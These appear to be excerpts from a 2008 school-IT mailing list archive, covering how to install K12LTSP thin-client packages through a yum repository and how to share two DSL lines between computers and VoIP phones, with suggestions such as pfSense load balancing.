In order to get decent performance you will want to have about 512MB for the server plus about 64-128MB per client. Since you already have RedHat 5 loaded what you need now is to install the rest of the pieces. An easy way is to get the K12LTSP5-EL DVD (download the disk image and mount it using "mount -t iso9660 /mnt -o loop"). Now you need to go into the directory on the mounted CD and find the huge list of RPMs. You will want to install pretty much anything that has "ltsp" in the name. If you start by installing the k12ltsp repo file below into a file /etc/yum.repos.d/k12ltsp.repo [k12ltsp] name=K12LTSP mirrorlist=http://k12linux.mesd.k12.or.us/mirrors/k12ltsp-5.0EL-$basearch gpgkey=http://k12linux.mesd.k12.or.us/K12LTSP-GPG-KEY http://k12linux.mesd.k12.or.us/BETA-RPM-GPG-KEY http://k12linux.mesd.k12.or.us/FEDORA-GPG-KEY http://k12linux.mesd.k12.or.us/FEDORA-LEGACY-GPG-KEY http://k12linux.mesd.k12.or.us/RPM-GPG-KEY http://k12linux.mesd.k12.or.us/RPM-GPG-KEY-fedora http://k12linux.mesd.k12.or.us/RPM-GPG-KEY-fedora-test http://k12linux.mesd.k12.or.us/RPM-GPG-KEY-beta http://k12linux.mesd.k12.or.us/RPM-GPG-KEY-CentOS-5 http://k12linux.mesd.k12.or.us/RPM-GPG-KEY-rpmforge-dag enabled=1 gpgcheck=1 and then run yum localinstall *ltsp* The system will install everything with ltsp in the name and use the yum process to grab any other dependencies it needs to make it happen.

From peter at scheie.homedns.org Thu Jan 31 14:00:09 2008 From: peter at scheie.homedns.org (Peter Scheie) Date: Thu, 31 Jan 2008 08:00:09 -0600 Subject: [K12OSN] OT: Using multiple DSL connections Message-ID: <47A1D469.40907@scheie.homedns.org> I have a client site where we've installed K12LTSP-5EL with a single gig NIC, connected to a switch (which in turn has another switch daisy chained off it via gigabit connection). The clients all have 100Mb connections. The clients are a mix of thins, Windows, and Macs. They have Vonage phones, which according to my reading, each require about 90K of bandwidth. I think they have 4-6 such phones now and anticipate adding more, although I don't know what the upper limit is yet. Because of the bandwidth requirements of the Vonage phones, and anticipated growth in the number of phones, they have installed two DSL lines. I have not had a chance to test the lines to see what kind of bandwidth, up & down, they each provide. As it stands right now, the LTSP server provides DHCP, but points to only one of the two DSL bridges as the default gateway. IOW, at the moment, the second DSL line isn't being utilized. My question is whether anyone has any suggestions about how to utilize/share/combine the bandwidth of both DSL lines so that all computers and all phones can make use of either/both lines. I could put the phones onto a separate physical network and confine phones to one DSL line and the computers to the other, but that seems inefficient and inflexible, and it means they will have to make sure they pay attention to which network they plug into (which they won't understand and therefore will do incorrectly). Depending on the time of day, computer traffic will decline as phone traffic increases, and vice-versa, although the nature of their respective traffic patterns is different (i.e., computer traffic tends to be bursty). What I'd really like is to setup a dedicated linux box to act as the gateway for the network, put three NICs in it, one for the internal network and one for each DSL line, and have it load balance/round robin the traffic between the DSL lines.

It is a router/firewall platform that you can run on embedded hardware or even an old server/pc you have lying around. One of its greatest features is the abiliity to load balance multiple WAN links. Keep in mind if you have two 3Mbit pipes, you will not get 6Mbit throughput, but rather, outbound connections will be sent out one pipe or another based upon state or bandwidth usage. You can even assign your VoIP traffic priority over other traffic using the built in traffic shaper. The project is -VERY- active with an imminent 1.2 stable release just around the corner. Support is second to none in the forums, mailing lists, and their paid commercial support. http://www.pfsense.org Tim Nelson Systems/Network Support Rockbochs Inc.

If they want access from outside the school you are going to have to open (port forward to your ltsp box) at least one port on the firewall. It does not necessarily have to be 22.

They all recommend to use 2 ADSL, one for phone/voice and the other for data That is because local ISP doesn't do any QOS... so when they have to drop packet, they start to do it on heavily charged line... No matter about the type of traffic ! As for voice, losing packet can significantly degrade phone conversation, they all push them to take an over line and keep it very uncharged to make sure to don't have any packet drop as well as to have low delay (ping).... You must remenber that load balancing need to keep the same conversation on the same phone.... And if you want to switch, Asterisk can be server part open solution... ----- Original Message ----- From: "Huck" To: "Support list for open source software in schools."
